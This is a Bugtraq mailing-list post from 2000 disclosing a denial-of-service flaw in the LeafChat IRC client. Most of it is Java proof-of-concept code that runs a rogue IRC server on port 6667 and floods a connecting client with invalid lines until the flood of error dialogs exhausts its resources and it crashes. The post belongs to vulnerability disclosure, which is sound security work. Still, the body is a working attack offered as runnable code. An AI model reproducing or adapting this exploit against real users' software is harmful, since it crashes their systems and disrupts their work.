[15476] in bugtraq
LeafChat Denial of Service
daemon@ATHENA.MIT.EDU (Andrew Lewis)
Mon Jun 26 14:58:24 2000
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Message-ID: <Pine.BSF.4.10.10006252056110.74551-100000@unix.za.net>
Date: Sun, 25 Jun 2000 21:00:06 +0200
Reply-To: Andrew Lewis <wizdumb@UNIX.ZA.NET>
From: Andrew Lewis <wizdumb@UNIX.ZA.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
/* The MDMA Crew's Proof-of-concept code for the DoS affecting LeafChat
*
* When the LeafChat IRC client recieves invalid data from the server, it
* displays a dialog box with an error message. Should the server rapidly
* send invalid messages, the system soon becomes dangerously low in
* resources and commits harikiri. :-)
*
* Vendor Info: www.leafdigital.com/Software/leafChat
* Crew Info: www.mdma.za.net || wizdumb@mdma.za.net
*/
import java.io.*;
import java.net.*;
class leafMeAlone {
// Line below will have to be changed for Microsoft's Java VM - oops ;P
static void main(String[] args) throws IOException, UnknownHostException {
ServerSocket shervshoq = null;
PrintWriter white = null;
Socket shmoeshoq = null;
shervshoq = new ServerSocket(6667);
System.out.print("Now listening on Port 6667... ");
try {
shmoeshoq = shervshoq.accept();
white = new PrintWriter(shmoeshoq.getOutputStream(), true);
} catch (IOException e) {
System.out.println("Errors accepting connection, y0");
System.exit(1); }
System.out.print("Connection recieved\nCrashing client... ");
for (;;) {
white.println(".");
if (white.checkError()) {
System.out.println("Crashed");
break; } } } }
